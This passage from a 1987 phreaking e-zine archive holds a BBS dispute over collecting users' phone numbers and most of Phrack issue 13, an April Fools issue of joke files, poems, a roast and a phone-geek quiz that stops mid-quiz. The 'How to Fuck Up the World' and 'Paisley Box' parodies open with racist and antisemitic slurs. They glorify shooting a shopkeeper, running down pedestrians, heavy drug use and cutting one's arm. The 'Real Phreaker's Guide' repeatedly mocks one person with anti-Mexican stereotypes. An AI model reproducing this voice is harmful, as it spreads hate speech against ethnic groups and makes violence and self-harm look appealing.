I'm not about to let anyone on this board that I can't trust. It's not fair to the other users, and it's damn stupid of me. I run this board the best way I know how. I do what I do in respect to new user validations because it's the best way, through trial and error, that I have found to handle it. If people can't respect the way in which I choose to run my board then I'd appreciate it if they never called. And when regular users of my board start questioning the way I do thing, and telling me that I'm WRONG for doing things the way I believe they should be done, then I really start to wonder what the fuck I'm doing it for at all. I'm not a quitter, and I don't like the idea of giving up and taking down the board. I'm going to run this board the way I think is best, and I'm not about to conform to what other people think I should do.

I've probably stepped on some toes and offended some people with this, but that's just too damn bad. I hate fighting the topic but I'll fight it if I have to.

‑‑==The Psychic Warlord==‑

37/50: Take a fucking valium

Name: Taran King #45

Date: 9:02 am Sat Feb 28, 1987

You're known for an explosive temper, PW as well as sometimes being extremely irrational. My policy is to let people on the my board with voice numbers only. Through the history, I've made maybe 5 exceptions. Some of 'em include Lex, Spy (at first), Tabas, Videosmith, and Phucked Agent 04. Now, I never got anything out of PA04 because he got a "call" soon after he got on the board, but the rest of the members have contributed extremely well to the board. I just made sure I knew it was really them by referencing and cross referencing.

If your morals are that unbendable, PW, then you need to relook at the purpose of this board. If it's to spread phreak/hack knowledge as you said on the phone, then to have those people on with the experience that they have would hardly hinder the board. I seriously doubt anyone would feel offended if any of the forementioned people got on here without leaving a valid voice number, being that they're not on any other board with a voice number.

I know that Lex is not giving out his number to even the best of his friends. Spy is really careful about it these days. Not so sure about Kerrang but he's travelling about now so he's not in one place for too long nowadays. It's your board and I was trying to give you some constructive criticism, but you took it the wrong way. You don't have to claim you're ELITE to be elite. Elite merely means that you've got the respected members of the community on board. Well, you've got 'em. If you don't like it, I suggest you go through and purge the log like a big dog. Actually, fuck it. I'm tired of getting into arguments for trying to help someone. Feel free to delete my account if you feel that I've not contributed enough information to the board, or if you've rethought the purpose and decide that it's not for what I've contributed, dump me. Fuck dis

‑TK

44/50: Well...

Name: The Psychic Warlord #1

Date: 4:57 pm Sun Mar 01, 1987

I'm glad that some people agree with me on this. I can understand Lex's point of view, too. I can also remember a time when I myself refrained from giving my number to any sysops. But... I've changed my point of view considerably after living the Sysop life for well over 1.5 years. Now if I ever wanted access to a board, and the Sysop of that board asked for my voice number, I'd give it to him.

I've given Lex access to this message base for a short period of time so that he can check out the discussion. He called me voice the other day and we talked for a while about this whole biz. I'd like him, and Spy, on the board, and possibly they'll change their minds. If not, that's cool. I'm just going to let the whole thing kind of slide from here on out. If they change their minds, great... Well, Adios.

‑‑==The Psychic Warlord==‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Kerrang Khan, when notified that he must leave a voice number, said "there is no reason Psychic Warlord would need any user's phone number." He also stated that the fact that PW insisted on voice numbers was very "suspicious."

Silver Spy, when notified that he must leave a voice number, never bothered calling again.

Lex understood the whole situation and remained cool. He said he could see why a sysop would need voice numbers of his users. Lex was worried about the board he left it on getting busted and the authorities getting his number. So PW, in response to this deleted all users phone numbers from the board and encrypted them in a hidden sub‑directory. Now the numbers are there only and are totally hidden.

Information Provided By

Lucifer 666/Psychic Warlord/ShadowSpawn BBS/Taran King

________________________________________

13

- Phrack XIII Index by Taran King

- Real Phreaker's Guide Vol. 2 by Knight Lightning

- How to Fuck Up the World - A Parody by Thomas Covenant

- How to Build a Paisley Box by Thomas Covenant & Double Helix

- Phreaks In Verse by Sir Francis Drake

- R.A.G. - Rodents Are Gay by Evil Jay

- Are You A Phone Geek? by Doom Prophet

- Computerists Underground News Tabloid - CUNT by Crimson Death

- RAGS - The Best of Sexy Exy by Sexy Exy

- Phrack World News XIII by Knight Lightning

Phrack XIII Index

==Phrack Inc.==

Volume Two, Issue 13, Phile #1 of 10

Index...

~~~~~

Well, as a tribute to April Fools Day (4/1/87) and as a break to the normal grinding speed of Phrack Inc. (HA!), we at Phrack Inc. have taken a break to be stupid, to get our frustrations out, to make fun of people, places, and things, and to be just generally obnoxious.

This issue was delayed due to THE EXECUTIONER who may be blamed for the slow date release of this issue. We currently believe him to be trekking back to his home in the Himalayas to hide with his mom (Saskwatch). Heh... Just getting you in the mood for what's ahead.

This issue is NOT to be taken seriously in any manner (except anything mentioned about Oryan Quest) and is put together extremely loosely. None of the files have been formatted. None of the files have been spellchecked. Don't expect quality from this issue...just have fun. Later.

Taran King

Sysop of Metal Shop Private

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Table of Contents:

#1 Phrack XIII Index by Taran King (2.0K)

#2 Real Phreaker's Guide Vol. 2 by Taran King and Knight Lightning (5.2K) #3 How to Fuck Up the World ‑ A Parody by Thomas Covenant (9.5K) #4 How to Build a Paisley Box by Thomas Covenant and Double Helix (4.5K) #5 Phreaks In Verse by Sir Francis Drake (3.1K)

#6 R.A.G. ‑ Rodents Are Gay by Evil Jay (5.8K)

#7 Are You A Phone Geek? by Doom Prophet (8.8K)

#8 Computerists Underground News Tabloid ‑ CUNT by Crimson Death (10.5K) #9 RAGS ‑ The Best of Sexy Exy (19.2K)

#10 Phrack World News XIII by Knight Lightning (26.0 K)

Real Phreaker's Guide Vol. 2

==Phrack Inc.==

Volume Two, Issue 13, Phile #2 of 10

_‑><‑_==_{[The REAL Phreaker's Guide Part II]}_==_‑><‑_

or

How To/Not To Be Elite!

Written by

Taran King and Knight Lightning

So, you're willing to give up EVERYTHING to be elite, huh? Well, you've come to the right place. We know from EXPERIENCE. We know FIRST HAND. We know because we ARE ELITE (not elite, ELITE).

Some of you may recall our first version of this file which was released years ago. That was when we were young and immature. We are now much more mature and ELITE and you aren't so there. Here's the file, learn it, love it, live it, leach it.

!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$

Real phreaks don't utilize anything pertaining to phreaking/hacking in their handles (Phantom PHREAKER, CODES Master, CODE Manipulator, Bill from RNOC, Perpetual PHREAK, Luke VAXHACKER, VMS Consultant, Holophax PHREAKER, Ubiquitous HACKER, Dr. HACK, PHREAKY Floyd, Broadway HACKER, The Mad HACKER, The PHREAKazoid, PHREAKenstein, Dan The OPERATOR, and ORYAN QUEST).

Corollary: Real phreaks or hackers don't have ORYAN QUEST in their name.

Real phreaks don't get in trouble when people harass their parents (Phucked Agent 04, The Executioner, and Oryan Quest).

Corollary: Real phreaks don't name themselves Oryan Quest if they know that they're going to receive harassing phone calls.

Real phreaks don't look like celebrities (Mark Tabas ‑ Tom Petty, Shooting Shark ‑ Mork from Ork, Telenet Bob ‑ Danny Partridge (200 pounds later), John Draper ‑ Marty Feldman in Young Frankenstein, The Executioner ‑ All of the group members of Loudness, Broadway Hacker/The Whacko Cracko Bros. ‑ Tommy Flenagan, Mr. Zenith's mother ‑ Fred Sanford, The Lineman ‑ Spanky, Sigmund Fraud ‑ The Great Pumpkin, and Oryan Quest ‑ the Mexican cab driver in D.C. Cab).

Corollary: Real phreaks didn't crawl under a fence to become a citizen of the United States of America.

Real phreaks don't go to Tap (Dead Lord, Cheshire Catalyst, Sid Platt, and Oryan Quest).

Corollary: Real phreaks don't piss Taran King off so that they would get a rag file dedicated to them.

Real phreaks don't name their group after a real phreak (New religion: Luthorian.)

Real phreaks don't get busted and come back numerous times (The Whacko Cracko Bros., Dr. Who, Mark Tabas, Holophax Phreaker, and Oryan Quest).

Real phreaks don't get kicked out of the FBI (Ahem!).

Real phreaks can't speak 2600 in their normal, everyday voice (Ax Murderer, The Wizard, The Preacher, and Oryan Quest).

Real phreaks don't have busha‑bushas (Eric Corley, John Maxfield, The Bootleg, and not Oryan Quest's mother).

Real phreaks aren't religious fanatics (The Preacher, The Pope, The Exorcist, Magnetic Pope, All Members of Cult of the Dead Cow, Mr. Zenith's mom, The Prophet, Lucifer 666, Angel of Destiny, and Satan [Oh, and Oryan Quest]).

Real phreaks don't use vaseline for mousse (Oryan Quest).

Real phreaks don't eat tacos for breakfast, burritos for lunch, and enchilladas for dinner (Oryan Quest).

Corollary: Real phreaks don't need to get the cheese for their Mexican dinner from the government (Oryan Quest).

Real phreaks don't claim to get busted 3 times to make a good reputation as a phreaker or hacker for themselves (Oryan Quest).

Real phreaks don't answer to "Paco" (Oryan Quest).

Real phreaks don't use Maintenance Busy in an effort to unleash with full force (Oryan Quest).

Real phreaks can rag on better things than an individual's mom (Oryan Quest).

Real phreaks' caps lock didn't get stuck when signing their first message after they typed their first name (Oryan QUEST).

Real phreaks don't claim to know more than 65% of the phreak world (Oryan Quest).

Real phreaks don't have a girlfriend that needs to shave...their face (Oryan Quest).

Real phreaks haven't been around for 4 years without accomplishing something (Oryan Quest).

Real phreaks CAN'T argue with their parents in Spanish (Oryan Quest).

Real phreaks don't:

Cash $5,000,000 checks.

Card minicomputers.

Card gold.

Get busted for hacking but let off due to police brutality (?!?).

Write books on the topic.

Say they're from outside of Illinois when working for Illinois Bell.

!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$

You, the reader, must understand that this is all written with the very least in seriousness (except that written about Oryan Quest). Anything contained in the file is just poking fun at people without trying to really make them feel bad (except for Oryan Quest).

To the various people that have contributed various pieces and bits to this file, we wish to extend great thanks for your innovativeness (or lack thereof).

Now, you too, can be ELITE.

How to Fuck Up the World - A Parody

==Phrack Inc.==

Volume Two, Issue 13, Phile #3 of 10

/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/

\|/ How to fuck up the world \|/

/|\ Writen 10:03 pm December 2nd 1986 /|\ \|/ by the Neon Knights and Metal Communications \|/ /|\ Thanx to the Metallain,Zandar Zan,Marlbro Reds,ACID,The High Lord /|\ \|/ Satan,Apple Maniac,The Necrophiliac&The Necrophobic (for theri awesome\|/ /|\ dox‑file skils),SLayer,Megadeth,Overkill,Samhain,The Misfits (fuck yea/|\ \|/ Hi Glenn!),The Blade,Killer Kurt,and Steve Wozniak even thouhg hes a \|/

/|\ wimp! /|\

\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\

/|\ Fuck off all niggers jews commusnists retarted /|\ \|/ arabians peopel who dont own computers and any welfare starving shit \|/ /|\ headed bastard who doesnt have an Applecat modem! /|\

\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\

/|\ Im not even going to write a list of boards for you to call. Well /|\ \|/ what the fuck I guess I will put at least one..... \|/ /|\ Call the Metal AE (201)‑(879)‑(666)‑(8) for the latest in Neon /|\ \|/ Knights wares and for a cool board/cool sysop/cool wares/just all \|/

/|\ around cool! /|\

\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\

The Phile itself:

When your like me and get bored eassily its veryt hard to keep fuctiong the way your parents expet you to. I would go out with Killer Kurt all the time and dest roy evrything we coiuld find that looked stupid,get drunk off my ass,trip on aci d(like im doing righ now),use the necronimiconm to summon a watcher to kill my t eachewrs my douchbag bratty sister and the fat sickining son of a bitch that liv es next door to me,and my parents would very rarely do anything to try to stop m e. i gues they just thought i was goin throuhg a phase or sometihg like that. We ll I finalyl hit upon the perfect combination of things to do that not only get your parents to reac, the are a hell of a lot of fun and cause so much evil, cha os, and havoc that Satan will be sure to reservbe a good seat in Hell for you. S o now Here are step by stpe instructins on HOW TO FUCK UP THE WORLD

Step one:Get.a large supply fo plastics garbage bags, gas or other very flammabl le shit,and a flamsthrower or somet other way to light fires from a distance (ju st to make sure you dont die yourself before your ready).Also i forgot to mentio n,take a good amount of drugs befoere you start doin this so youll be able to fi nish what you start.I reccommend about three hits of blotter acid (4way album co ver is best,thats what i use),about 2 grams of weed (smoked),some mescaline if y ou can get it (arizona is a great place to pick it yourself),and of course the g ood old american tradition of JACK DANIELS. Most people mix this with coke but I have invented a new way to do it,which ya do by mixing it with JOLT cola instead . tHIS (godamn fuckin caps lock key) will get you really goin, you may want to use some speed as well so you dont pass out and some ludes or other type of down er just to keep you balancd well. now make sure you can still stand up (once you get that far the rest will come naturaly) and get in yer pickup (if you dont hav e a pickup there is no hope for ya!) and drive. Oh remember to take the gas, bag s, and light with you.

Step two: Drive to a secluded area and preparew for your assault on the armies o f the conformist bastards. What your gonna be doin here is summoning a demon. Th is is one of the waeker types according to the Necromnicon so you can control it easily in your druged state but powerful enouhg to actually be of use to ya. So draw yer pentagram on the ground,get a Slayer tapepl aying (no motley crue!!! or the demon will laugh its ass off at you before killing you and eating your soul. Adn thats a big waste of time not to mention no fun at all.) set candles at all cardinal points and cut a long incision down the lenght of your arm about frmo mid‑bicep to just before your wrist as you dont want to bleed to death,just enou gh to get about 3/4 of a pint or so. Drip all this blood inside the pent.,and ch ant the following:

"YOGGIH PPEDRILS, STOWART EHNTAHL SHILGLI DRAGGULS UOHT!" Say this5 times and you shoukld noteice the candles flikckering (hmm i blieve th e rrUSH is starting to come on nwo, this sucker relly was worht 40 a sheet!!)! B y the way that shit up there that ya say is not nay kind of backjwards bullshit, it is the real stuff. I paid 40 bux for my copy of the youknowwhat so i oughtta know. now where was i o yeah. Onece the damn thing appears thjen you gotta estab lish control over it real qiock before it start getting any ideas. by the way in caser you wodering what it will look like it is a big motherfucker approx. 20 fe eet tall with green leathery sking. If you get the wrong one it doesnt really ma tter that much anywayt since youll be dyin soon but it helps. so now get it to f ly along above yer truck (tell it to be invisible so ya dont have peopl starin a t ya!) and drive back to whereever it is that your gonna destroy.

Step three: stop back at yer house wreal quick and pick up the follwng. If you d ont have all this at house then just go by a hardware storte and a drugstore and picjk it up. if the owner objkects then just take out his kneecaps with your cro wbar and he wont be goin anywhere for a long time.

30 dozen hammers

50 gallons of paint (asorted colors is nice but not necesary) (jesus this is weird, have any of you ever seen ther letters on yer screen wiggl ing and boucing didnt think so!!) now where was i/

5‑10 tanks of propane

100+ gallons of gas (for a seperate use than the gas i alreadyu mentiond)

from the drugstore,or your closet if your like me and keep a constant supply of every kind of drug ever made):

1,000 doses of pseudoephedrine (there we go,i spelled it right! well ive got the catalog next to me so fuck it anyway,it doesnt mean shit.neuither does your mama . i think im getting off track ‑ wel then again it is kind og amazing cause my ingers are twichin so bad)

5,000 doses of LSD

250 doses of qualudes

600 cases of JACK DANIELS

ok now for the good part. Consume all of these yourself! HAAHAHA! i bet you thou ght you were suposed to put them in the citys water supply or soething! but now you better get moving cause this is all gonna take effect within the hour! but i f ya wanna save some to put in the citywater then go ahead,you wont have quite a s much fun but who the fuck am i to tell you exactly how to do things.

Step four: Drive to the heart of the city. on the way see how many little old la dies and fag poodles ya can hit. When ya get to the talest building in town smas h into a fire hydrant in front of it. now get out and run like a bitch *just hav e the demon carry all the shit for ya*! and go to the FUCKEN TOP of the building . here is where you do all this.

Make the demon inhale all the propane, and give him the smaler amount of gas (th e one I talked about first..go back about 70 lins or so./) to drionk. Now hes al l set. now YOU have to get on his back. make him carry the hammers and paint and the largetr amount of gas. Have him take off and fly all over the city aas he fl ys just throw hammers down at building windows and people and paint at both of t hose too! Now i bet you thinking i forgot all about those garbage bags and the f lamethrowr. Hell no i didnt! with the little bit of propane hes got left have hi m blow up the bags so they make a giant baloon. now you take the big amount of g as and drink it (after all those other drugs it should be a smnap!) and jump. Wi th your weight off him and all that propane in him and with that baloon he will instantly take off straight up into heaven, where he will cause some wicked shit to happen! As for you, you will fly down and hit the ground, and be goin so fast that you go right through all the way to Hell. Once you get there all the gas in you will ingite and BOOM! Satan will be proud of you for sure! a perfect ending to a perfect day!

/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/

\|/ Keep those credits up there excatly as they are (inother words,puttin\|/ /|\ your K‑K00l board up there WONT be tolerated!) or we will fuck you up. /|\ \|/ If ya dont believe us by now your retarted. ‑Killer Kurt \|/

/|\ ‑And the rest of the 'knights! /|\

\|//|\\|//|\\|//|\\|//|\\|//|\\|//|\\|//

/|\ Copywrit 1986 by Neon Knights/Metal Communications/ /|\

\|/ Black Death/No Love \|/

/|\ We're rad...we kill children! /|\

\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\

How to Build a Paisley Box

==Phrack Inc.==

Volume Two, Issue 13, Phile #4 of 10

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

/|\ the Neon Fucken Knights /|\

\|/ present with no alternative \|/ /|\HOW TO BUILD A PAISLEY BOX! /|\

\|/ by the fucked up Blade \|/

~~~~~~~~~~~~~~~~~~~~~

All right, so i mfucken in 40 cols..what's it matter? i just realized that many idoits out ther still dont know how to make one of the greatest anarchiust tools ever, the Paisley Box. This little beauty will do just about anuyt6hing ya want, including: ‑‑Seize operator lines

‑‑Remote control over all TSPS and TOPS consols

‑‑All other box functions combind in oine, includin blue, beige, and blotto

so ya wanna know how to build this fucker and go out terrorizin ma bell..well sit tight, we wont bother with any fucken diagrams cause those are for dweebs (right necro? right!) here we go!

first of all get about 20 lbs of quality drugs and 3 or 4 kegs. you might

think that you need this for the contruction of the box but, you don't you take it all yerself!!

this will mellow ya out enuf to follow our planz. lessee, oh yea parts list:

‑‑about 50 ffeet of copper wier, hopfully insulated ‑‑an old (prefer touchton) phone that ya dont need no more ‑‑a honda genorateer (don't pay for it, just card it. right necro? right!)

‑‑and one of the empty kegs that ya drank to put it all in. the genarater will fit fine and the rest ya can attach to the outsid if thats your fucken urge.

now for tha actualy construciton details:

oh shit, we forgot one fuckin thing. go to you local hadware stoer and find the guy who owns it, get a gun and blow his fuckin head off (you can card the gun two) this isn't for the box but, it fun and it will make satan happy so yor box will work better.

now with the empty keg and all the stuf we put up there ( i think about 20 lins ofr so up )_ attach the genarater to all the other shit however ya please, now get some nice paisley wallpaper from your mom 9(steal it if she wants it still) and put it all on the oputsid of teh keg. you now have a 100% genuine Neon Knights approvd Paisley Box!

How touse:

hook that son of a bithc up to yir modem (thats only if you got a 212 cat. if you don't then you are an asshole anyway and the box will blow you fucken house aprt but, satan will be happy.)

now turn yer dam computer on, and when the prkmpt comes up( hardwird into the box of cors! whatdday think we are, stupid? ) type: 666 (space) SATAN RULES (space) MY SWEET SATAN!

then the menu will coume up on you screen and it will say.

1) fuck the operator around

2) take control of the pentagon

3) imitatte boxes (blue, blotto)

4) fuck‑a‑geek

choose whatever ya want, except if ya get tired of it and want to trash th thing type 666 for a choice. the box will sef destructt, yer computer will explod, anmd in its trahsing death throes speak an chant taht will summon satan to take you away to the depths of HELL!!!

use this masterpece proerly, and remember: NO FUCKEN LOSERS!

`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'

Call these genocidal systemz:

The Gatest of Hell 555‑51325‑634637‑3

1200 ONLY DAMMIT!

Mephisto's Suicidal Nightmare 2436‑234‑666 (of course!) 1200 ONLY DAMMIT!

The Dead Fuckers Realm 2436‑99‑2309

300 only for now (dammit!)

sorry for the sloppy look compared to our usual k00l neat files, but my computer got confiscate d by the fucke n pigs so i have to telerwit this fucker usin a dumb terminal, until i card another! should be within the week!

but don't forget to call the rad Metal AE

201‑879‑[666]8 9600 baud only (god fuckin dammit) 4 drives with 710 megs soon (we promise this time).

Kneon Nights "We're Rad, we kill children!!"

end of file

i said end of file dammit!

what are you still fucken readin for? hit escape you stupid shithead!

if you dont fucken hit escape i will call satan on you!!!

fuck the dead!

***

***

***

***

***********

***********

***

***

Oral roberts is the anti‑christ!!!

oh and remember: this has been a fucken parody from thomas fucken covenant and double fucken helix. Call Thieve's World, the last bastion of free thought: 616‑344‑2718.

Phreaks In Verse

==Phrack Inc.==

Volume Two, Issue 13, Phile #5 of 10

Phreaks In Verse!

‑‑‑‑‑‑‑‑‑‑

By

Sir Francis Drake And Aiken Drum

Welcome to this file,

We hope you will spend a while,

With us today.

Perhaps you will be enlightened, in a way.

This file is about phreaks,

And hacks. We have spent weeks

writing about people in verse.

You can pick who is worse,

Our poetry or them.

We mean no insult,

And we hope as a result

No on will kill us.

'Cause we wouldn't like that OK?

Shooting Shark

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

His name is Shark,

He thinks UNIX is a lark.

He can even log people out!

(The legality of this we doubt)

He looks like Robin Williams.

And maby he'll make millions

Writing UNIX software!

(Wolf will tell him what to wear.)

Oryan QUEST (Agent Orange) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Oh! Poor Oryan QUEST!

Many call him a pest.

"Stan", they cry,

"Why do you lie?"

The color of his car keeps changing,

Perhaps its because I'm aging,

But even if my brain is weak

I know he said his car was RED last week, But today he said BLUE!

Tell me the truth Stan, please do.

But he knows quite a bit,

And if he dosn't throw a fit,

He can be an OK guy.

Lex Luthor

‑‑‑‑‑‑‑‑‑‑

His real name is funny,

(And it isn't Bunny)

But a joke he is not,

He knows a hell of alot.

Of phreaks, and hacks, and little blue box. Hes head of LODH, a club that rocks.

He's a secretive guy,

But I think we all know why.

(He even made me change this poem,

Oh well. I owed him.)

And no he dosn't sound like Yogi Bear

No matter what Bill may dare

to say.

Knight Lightning

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Knight Lighting likes dots, *'s, and slashes. He sits at the CRT so long he gets rashes. Making those NEAT title screens

Is the thrill of his teens!

But we all think he's a swell guy,

'Cause he gives everything a try.

Silver Spy

‑‑‑‑‑‑‑‑‑‑

Silver Spy!

He's a conservative guy.

He runs a elite BBS‑‑ Catch‑22.

It dosn't get many posts, boo‑hoo.

But what other board can you see,

Limericks when you log on...tee‑hee.

Bill From RNOC

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bill from RNOC

Is from New Yawrk.

Smarter than the average phreak,

His opinions are not meak.

He designs PBX's for fun,

But he needs to spend more time in the sun. Soon you will see,

Bill working for NT. (*NT is Northern Telecom for you stupid people*)

Taran King

‑‑‑‑‑‑‑‑‑‑

What a terrific guy is Taran King,

Working on Phrack and runing MSP is his thing.

He's a bit redneckish;

(he won't admit he has a homosexual fetish.)

But of the phreak community he is a piller,

And without him we would wither.

And if I keep patting his back,

Maby he'll put this file in Prack.

‑‑‑‑‑‑‑‑‑‑

Oh no! I fear

The end of the file is here.

This file, about all these people who are ELITE,

Can be followed by one word...DELETE.

R.A.G. - Rodents Are Gay

==Phrack Inc.==

Volume Two, Issue 13, Phile #6 of 10

R.A.G.

Rodents Are Gay

Starring Codes Master

Welcome to the first and last issue of R.A.G. This month we will feature a nauseating article about this months feature idiot ‑ Codes Master. Remember, this file is not for you people with weak stomachs and parental discretion is advised. Rated R (for rodent).

First, a little introduction. The purpose of R.A.G. is to seek out and destroy potential idiots, assholes and posers. Obviously Codes fits into all these catagorys. We obtained a taped interview with Codes at his home in Mickey, Mississipi, and was able to get a few truths revealed. Here is a small transcript of the interview. "ME" is the interviewer, "HIM" is Codes.

ME: Nice place you have here. I see your into art. Ah, thats an interesting peice there. What do you call it?

HIM: Thanks. Thats called, "Mickey's Rat Trap". It shows the valiant Mickey cleverly stealing the cheese from the trap without setting it off. Actually, it was quite a bargain, and cost me mere $250. ME: Thats interesting. You seem to have an obsession with Mickey Mouse and other rodents (looking around I see portraits of Mighty Mouse, Jerry, Speedy and others).

HIM: Its just one of my hobbys.

ME: Okay, anyway, on with the interview. We understand that you consider yourself, and I quote, "an expert on Primos". But we have seen conflicting views when it comes to the truth of this. Alot of people seem to think you don't know anything, and what you do know has been learned in a very short period of time. Is there any truth to this? HIM: Uh, would you like something to drink? Some treats perhaps? I have some excellent chees......

ME: No thank you. Back to the question, are you really a Prime expert? HIM: Well, I, uh...I guess you could say that. Have you ever read my Prime... ME: No I havent. Sources tell me that you have claimed you had system access on the Henco Prime on Telenet. But my sources know for a fact that you haven't. Is there any truth to this?

HIM: Well, no...

ME: Thats what I thought. Also, I would like to bring up the little war between you and Evil Jay. You have claimed that the reason you didn't see eye‑to‑eye was because both of you were working on seperate versions. Yet, we both know that aside from versions lower than 19 there are not too many changes so we really dont understand your comment. HIM: What kind of interview is...

ME: We also understand that you posted a message on Phantasie Realm that contained the, and I quote, "new 617 Cosmos dialups". Yet these dialups have been around for years and died more than a month before your post. Any comments, Codes?

HIM: I....

ME: Okay, how about your "Real Hackers, Phreakers and Trashers Guide". You made some interesting comments on there, such as, "Real phreaks are mostly pirates" and "Real phreaks dont have handles like Mr Phreak". You obviously didn't take a look at your own handle, but we will skip that little misunderstanding. The thing we find curious about the file was that it was written in January of this year (1987). At this time, you were a member on some respectful systems, such as Shadowspawn. What we cant understand is why a phreak, who is on some pretty good boards, would write such a rodentish file. Comments?

HIM: You know how I feel about rodents. (HE glances fondly at Mickey portrait) ME: I see. How long have you been hacking a phreaking?

HIM: Uh, about a year or les...

ME: I see. Is it true you were an infamous TMC code poster last summer, sometimes posting up to 30 TMC codes per message, but never anything else? HIM: HEY, NOW WAI...

ME: I see. Isn't it true that the majority of your posts since you have been accepted on some major boards, have been advertisments for your somewhat faulty Prime hacking files?

HIM: You have to advertise nowadays to get any recognition for anything. You know?1

ME: Well, isn't that special. We got a chance to see your application to Atlantis, and noticed that you said you had experience with Vax/VMS, RSTS and some other operating systems. But close sources who know you well tell us this is a lie, and if you did know anything its probably how to get a directory, chat with a user and other general crap. Is this true? HIM: WHAT THE HELL KIND OF INTERV...

ME: Well thats about it for today. Thanks alot Codes Master. May the force be with you.

HIM: WAIT A...(He starts to grab the interviewer...to Codes amazement, a mask falls off and...)

HIM: EVIL JAY?!?!1

ME: Thats right! We have you on tape now buddy. Your life is ruined...

The rest is to graphically violent to show here. But Jay emerged unscathed to hand us the copy of this interview. Codes was last seen walking towards Katheryn Hamilton Mental Center and had no comment.

So, we have unraveled the mysterys of one of the greatest posers of our time and exposed the man to what he really was all the time. A mouse. A fiendish poser, seeking to infilterate the higher levels of hacking and phreaking, for his own greedy amusement. Everything in this article was true, and we advise sysops to think twice about admitting Codes "Mighty Mouse" Master on your bulletin board system. Thank you and have a nice day.

Are You A Phone Geek?

==Phrack Inc.==

Volume Two, Issue 13, Phile #7 of 10

ARE YOU A PHONE GEEK??? ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Take this simple test to find out! A word of caution however...This file is not a measurement of your intelligence or sex appeal. Read on at your own

risk!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Simply answer the following questions completely and truthfully.

1: You are out on a date with an amazing looking chick. You are at a drive in and notice that she is getting rather hot. She wraps her arms around you and lets you know she means business by her passionate pelvic thrusts. However, you lose concentration when you notice a Bell truck has pulled in next to you, and the driver is asleep (boring movie). What do you do???

A: Push your girlfriend away and sneak out the door quietly, in hopes of scoring on countless hard to get goodies such as lineman's tools, test sets, manuals, and telephone numbers to engineer.

B: Give her the end of a soda bottle and tell her you'll be right back.

C: Ignore the silly Bell truck and continue with your date.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2: You are in the middle of town. It is cold and raining. You have sneaked out of your house to the local fortress to conduct some experiments. When making a call to your fave LDS, you hear an MF routing! What do you do?

A: Continue your call as normal, making a mental note of the occurrence.

B: Quickly hang up and repeat the procedure in the same fashion, in hopes of getting the routing again, so you may memorize it and post about it.

C: Talk in whispers and glance over your shoulder for Bell security and FBI vans coming your way.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3: You are in your school's office for disruptive behavior and notice that they're having some difficulties with call completion. What do you do?

A: You jump up and investigate the source of the problem, calling various test numbers while you're at it, performing a full battery of tests upon the line.

B: You grab the phone and dial the repair service, going into a long technical discussion on bandwidth limitation properties upon PBX type systems.

C: You don't give a fuck and let the bastards figure it out for themselves since they're the ones who are punishing you for pissing in the corner of the study hall.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4: You've had a little too much to drink and aren't driving well. Suddenly, a telephone pole appears in front of your car. You have a head on collision. You feel blood dripping from the gash in your forehead. What do you do?

A: You climb out of your smashed car and decide to climb the pole and investigate the aerial distribution box for possible notes left by linemen.

B: You whip out your notebook and take note that there is a can up there and put the note away for future reference. You then go to the hospital.

C: You wail in dismay that you might have forgotten your new codes in the trauma.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5: You are on your favorite BBS when you see some loser asking questions about tracing. What do you do?

A: You ignore the question because you're too elite.

B: You rag the user on every sub boaoard and in mail because ESS DOES trace you when you make too many calls to the same number.

C: You leave the user twelve pages cpied directly from a manual about the call trace procedure along with some personal comments on how Bell puts DNR's on lines if the words 'phreak', 'hack' or 'code' is spoken over it.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

6: Your mom picks up the phone during a conference and overhears someone harassing a DA supervisor. Later she asks you about it. What do you do?

A: Say 'Mom, I know you're not going to believe this, but there's a new company that connects you to a pre‑recorded phone conversation for a nominal users fee.'

B: Say you don't know who it was but then contradict yourself later by talking about how neat it was to hear Pee Wee abuse a DA supervisor.

C: Get violently sick and leave the room.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

7: You have a little static on your telephone line. What do you do?

A: You call up your CO and lodge a formal complaint, branding the personnel as lazy, inefficient, and decadent, telling them how much of a better job a true telecom buff like yourself could do.

B: Call your local tone sweep to see if Bell is tracing your line.

C: Hide under your bed until further notice.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

